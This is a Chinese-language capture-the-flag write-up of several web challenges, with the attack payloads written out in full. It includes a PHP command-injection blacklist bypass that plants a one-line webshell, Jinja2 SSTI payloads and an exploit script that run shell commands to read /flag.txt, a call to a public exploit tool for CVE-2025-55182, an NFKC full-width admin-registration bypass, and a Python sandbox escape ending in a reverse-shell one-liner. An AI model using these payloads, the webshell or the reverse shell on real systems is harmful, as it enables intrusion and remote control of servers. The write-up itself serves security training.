战队成员推荐的,本菜狗来做做看

ezshell

1
2
3
4
5
6
7
8
9
10
<?php
highlight_file(__file__);
$black_list=['eval','system','cat','tac','ls','tail','more','less','nl'];
$a=$_POST['t0mcater'];
for($i=0;$i<9;$i++){
if(strpos($a, $black_list[$i]) !== false){
die("bad hacker!");
}
}
shell_exec($a);

写马即可

1
echo '<?=$_GET[1]($_GET[2])?>' > 3.php

img

其他解,或者打反弹shell吧

1
ca\t /f* | tee 3.txt

babyssti

题目提示打SSTI,注入49直接回显49,基本确定打Jinja2了

1
2
{{''.__class__.__mro__[-1].__subclasses__()[134].__init__.__globals__['popen']('cat /flag.txt ').read()}}
{{namespace.__init__.__globals__.os.popen('cat /flag.txt').read()}}

babyssti_revenge

打白盒,ban了一些常规手段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from flask import Flask,render_template_string,request,render_template
app=Flask(__name__)
@app.route('/',methods=['GET','POST'])
def index():
black_list=['__class__','__init__','7','*','import','os','popen','__','system']
if request.method=='POST':
name=request.form.get('name')
for black in black_list:
if black in name:
return "waf!"
result=render_template_string(name)
return 'ok'
return render_template('index.html')
if __name__=='__main__':
app.run(host='0.0.0.0',port=5000)

是个无回显SSTI,利用字符拼接尝试盲注延时成功

1
name={{lipsum['_''_glo''bals_''_']['o''s']['pop''en'](request.args.get('c')|join)['re''ad']()}}

反弹shell,get传递参数cmd反弹shell命令

1
{{lipsum%5B'_''_glo''bals_''_'%5D%5B'o''s'%5D%5B'pop''en'%5D(request.args.cmd)%5B're''ad'%5D()}}

没反弹成功,可能是环境不出网,尝试文件写入

1
2
http://5000-3391a7a6-f7f6-4d5b-b33e-755d42271279.challenge.ctfplus.cn/a%3D__globals__%26b%3D__getitem__%26c%3Dos%26d%3Dpopen%26e%3Dmkdir%20-p%20static%20%26%26%20cat%20%2Fflag.txt%20%3E%20static%2Ff.txt
name={{lipsum|attr(request.args.a)|attr(request.args.b)(request.args.c)|attr(request.args.d)(request.args.e)|attr('read')()}}

无敌了,直接爆500,拿了taffy师傅的脚本跑出来了,但是不知道为什么我的payload不行,知道的师傅可以把原因发给我个人主页里的邮箱感谢

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
import urllib.parse

TARGET = "http://5000-67a970ac-e0c6-4831-8d4e-e492cddda178.challenge.ctfplus.cn/"

params = {
"a": "__globals__",
"b": "__getitem__",
"c": "os",
"d": "popen",
"e": "mkdir -p static && cat /flag.txt > static/f.txt",
}

payload = "{{lipsum|attr(request.args.a)|attr(request.args.b)(request.args.c)|attr(request.args.d)(request.args.e)|attr('read')()}}"

url = TARGET + "?" + urllib.parse.urlencode(params)
requests.post(url, data={"name": payload})

resp = requests.get(TARGET + "static/f.txt")
print(resp.text)

react2shell

上网搜一下就能找到CVE-2025-55182

自动化工具https://github.com/AsadAhmad-1337/React-2-Shell

1
python react-2-shell-ultimate.py  -t http://3000-32d0944e-6422-4cce-bc96-99fd6716a82e.challenge.ctfplus.cn/  -c "cat /flag"

img

myblog

使用execute功能需要管理员账户,来看看注册逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
@auth_bp.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form.get('username')
password=request.form.get('password')
if username == 'admin':
flash("想得美")
return redirect(url_for('auth.register'))
normalized_name = unicodedata.normalize('NFKC', username).lower()
flash(f"注册并登录成功,欢迎:{normalized_name}")
user_db[normalized_name]=password
return redirect(url_for('auth.login'))

return render_template('register.html')

检查注册用户名是否为admin,然后进行unicodedata.normalize('NFKC', username).lower() 的操作,再将该用户对应的密码修改,自己打的时候用的是ADMIN大写绕过,别的师傅用的是Unicode NFKC 归一化特性利用全角字符绕过,这里我给个之前打UNICTF的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def to_full_width(text):
"""将半角字符转换为全角字符"""
result = []
for char in text:
code = ord(char)
# 处理基本拉丁字母和数字
if 33 <= code <= 126: # 可打印ASCII字符(不包括空格)
result.append(chr(code + 0xFEE0))
elif char == ' ': # 半角空格转全角空格
result.append(' ')
else:
result.append(char)
return ''.join(result)

test_text = "admin"
full_width_text = to_full_width(test_text)

print("原文本:", test_text)
print("全角文本:", full_width_text)
print("长度对比:", len(test_text), "→", len(full_width_text))

登陆后访问/execute路由,打python沙箱逃逸

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
@blog_bp.route('/execute', methods=['GET', 'POST'])
def sandbox():
if session.get('user') != 'admin':
flash("npnpnp")
return redirect(url_for('blog.view'))

output = ""
if request.method == 'POST':
code = request.form.get('code')
safe_globals = {"__builtins__": {}}

# 捕获输出
original_stdout = sys.stdout
sys.stdout = io.StringIO()

try:
exec(code, safe_globals)
output = sys.stdout.getvalue()
except Exception as e:
output = f"Error: {str(e)}"
finally:
sys.stdout = original_stdout

return render_template('sandbox.html', output=output, code=code)

return render_template('sandbox.html')

就是把__builtins__置空了,打的Python 类继承链,利用访问不存在的属性报错输出,自己写个脚本找到拥有初始化和全局的子类,这里使用的是catch_warnings

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests

target_url = 'http://8080-d9f9f5af-475b-4019-82ce-f725c0838849.challenge.ctfplus.cn/execute'
Cookies = {'session': 'eyJfZmxhc2hlcyI6W3siIHQiOlsibWVzc2FnZSIsIndlbGNvbWUgYWRtaW4hIl19XSwidXNlciI6ImFkbWluIn0.adt_3A.om6raftY5KMoX7pwoTgxO2ZCdJ0'}
target = 'catch_warnings'

def find():
i = 1
while True:
data = {'code': f'().__class__.__mro__[-1].__subclasses__()[{i}].G3ng4r'}
res = requests.post(target_url, cookies=Cookies,data=data)
if target in res.text:
print(f'{target}类是{i}个')
exit()
elif 'Error: list index out of range' in res.text:
print(f'[-]{target}类不在范围内')
exit()
else:
print(f'[-]第{i}次未找到{target}类')
i += 1

if __name__ == '__main__':
find()

结果是241,无回显,我打的是反弹shell,最终payload:

1
''.__class__.__mro__[-1].__subclasses__()[241].__init__.__globals__['__builtins__']["__import__"]("os").popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/bash\",\"-i\"])'").read()